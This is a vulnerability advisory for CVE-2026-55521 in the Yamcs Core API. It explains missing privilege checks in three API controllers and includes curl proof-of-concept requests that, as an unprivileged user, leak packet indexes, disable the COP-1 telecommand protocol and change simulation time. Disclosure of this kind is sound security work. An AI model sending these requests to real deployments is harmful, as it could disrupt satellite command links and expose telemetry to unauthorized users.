CVE-2026-55521: Yamcs : Multiple Missing Function Level Access Control vulnerabilities in Yamcs Core API

Summary Multiple Missing Function Level Access Control vulnerabilities exist in the Yamcs Core API. These vulnerabilities allow any authenticated user, regardless of their assigned roles or privileges (e.g., an unprivileged "Guest"), to bypass intended access controls. An attacker can exploit these flaws to extract sensitive telemetry metadata, disrupt satellite communication link protocols (COP-1), and manipulate the global simulation time, severely impacting the confidentiality, integrity, and availability of the system.

Details Yamcs utilizes a robust Role-Based Access Control (RBAC) model with SystemPrivilege and ObjectPrivilege to restrict administrative actions and data retrieval. However, three critical API controllers completely omit these authorization checks before executing internal business logic:

1. IndexesApi.java (Information Disclosure): Unlike PacketsApi.java, which filters results using ctx.user.hasObjectPrivilege(ObjectPrivilegeType.ReadPacket, packetName), methods in IndexesApi (such as listPacketIndex and listEventIndex) directly retrieve and return archive records from the CcsdsTmIndex without verifying if the user has the required Object Privileges. 2. Cop1Api.java (Denial of Service / Integrity): Modifying the COP-1 telecommand protocol state is an administrative action requiring SystemPrivilege.ControlLinks. However, endpoints in Cop1Api (e.g., disable, resume, initialize, updateConfig) process link state alterations without calling ctx.checkSystemPrivilege(...). 3. TimeApi.java (Denial of Service / Integrity): The setTime method allows modification of the global SimulationTimeService (affecting all processors, telemetry, and tests in that instance). This endpoint fails to assert any system privileges before applying the requested simulation speed or time jumps.

PoC Prerequisite: Obtain valid credentials for a completely unprivileged user (e.g., userwithoutpriv:password with no roles assigned).

PoC 1: Extracting Packet Indexes (IndexesApi) bash curl -s -X GET "http://localhost:8090/api/archive/simulator/packet-index" \ -u "userwithoutpriv:password" Result: Returns HTTP 200 OK with a full JSON array of packet indexes, bypassing Object Privilege checks and leaking system metadata.

PoC 2: Disabling COP-1 Protocol (Cop1Api) bash curl -s -X POST "http://localhost:8090/api/cop1/simulator/tcsim:disable" \ -u "userwithoutpriv:password" \ -H "Content-Type: application/json" -d '{}' Result: The server processes the request past the authorization layer. Depending on the link configuration, it will either successfully disable COP-1 or return 400 BadRequestException confirming the link does not support COP-1. The absence of a 403 Forbidden confirms the authorization bypass.

PoC 3: Manipulating Simulation Time (TimeApi) bash curl -s -X POST "http://localhost:8090/api/instances/simulator:setTime" \ -u "userwithoutpriv:password" \ -H "Content-Type: application/json" -d '{"speed": 10.0}' Result: The server processes the request past the authorization layer. It changes the global simulation speed if the service is active, or returns 400 BadRequestException: Cannot set time for a non-simulation TimeService. The absence of a 403 Forbidden confirms the authorization bypass.

Impact The vulnerability impacts instances of Yamcs exposing the REST API. Confidentiality: Unprivileged users can enumerate all historical telemetry packet and event metadata. Integrity & Availability: Attackers can disable critical satellite telecommand protocols (COP-1) causing command transmission failures. They can also manipulate the global simulation time, disrupting processors, automated tests, and all other users relying on the simulation environment.

PoC Images: - Check user permission <img width="1218" height="951" alt="image" src="https://github.com/user-attachments/assets/fa7b1f1b-70fc-4796-805a-70acb84686d3" />

- Check admin permission and access API: <img width="1768" height="555" alt="image" src="https://github.com/user-attachments/assets/844364f7-5e26-4c15-8809-6512f10ffbab" />

- Check user no permission - get response same with user admin: <img width="1264" height="885" alt="image" src="https://github.com/user-attachments/assets/8773cef6-f940-48f7-a382-0eb87b8767d4" /> <img width="1243" height="358" alt="image" src="https://github.com/user-attachments/assets/3288f092-7114-48d6-9e5c-9aeaf20d95d4" />